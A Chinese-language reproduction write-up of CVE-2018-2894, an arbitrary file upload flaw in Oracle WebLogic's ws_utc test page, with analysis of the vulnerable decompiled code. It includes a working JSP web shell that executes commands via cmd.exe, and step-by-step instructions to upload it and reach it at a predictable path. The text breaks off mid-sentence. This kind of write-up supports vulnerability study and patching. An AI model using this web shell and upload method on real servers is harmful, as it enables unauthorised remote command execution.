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（CVE-2018-2894）WebLogic任意文件上传

一、漏洞简介

二、漏洞影响

漏洞影响版本：10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

三、复现过程

下载地址：http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip

漏洞复现

服务启动后，访问 http://localhost:7001/ws_utc/config.do

可以将当前的工作目录为更改为其他目录。以本地环境为例，可以部署到

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war

选择右边的安全栏目，添加JKS Keystores上传文件。假设chybeta.jsp内容如下：

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

抓包获取到时间戳为1531987145013，则上传到的位置即config\keystore\1531987145013_chybeta.jsp

访问http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp

简要漏洞分析

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:

public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);
        this.isWorkDirChangeable = true;
        this.setTestClientWorkDir(path);
    } else {
        this.persistWorkDir(path);
        this.init();
    }
    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths);
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }
}

此函数用于改变工作目录，但其中并未做任何检测。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中：

@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
    if (!RequestUtil.isRequstedByAdmin(this.request)) {
        return Response.status(Status.FORBIDDEN).build();
    } else {
        if (TestClientRT.isVerbose()) {
            Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
        }
        String currentTimeValue = "" + (new Date()).getTime();
        KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
        ....
    }
}

跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31

public static String getKeyStorePath() {
    return getConfigDir() + File.separator + "keystore";
}

得到要写入的路径storePath。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:

public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
    ...
    if (attachName != null && attachName.trim().length() > 0) {
        if (attachName != null && attachName.trim().length() != 0) {
            attachName = this.refactorAttachName(attachName);
            if (fileNamePrefix == null) {
                fileNamePrefix = key;
            }
            String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
                this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
        }
    } 
    ...
}

把上传文件的内容传到了storePath目录里，文件名满足fileNamePrefix + \"_\" + attachName。这过程没有任何过滤和检查：）...

利用条件：

需要知道部署应用的web目录

ws_utc/config.do在开发模式下无需认证，在生产模式下需要认证。具体可见Oracle® Fusion Middleware Administering We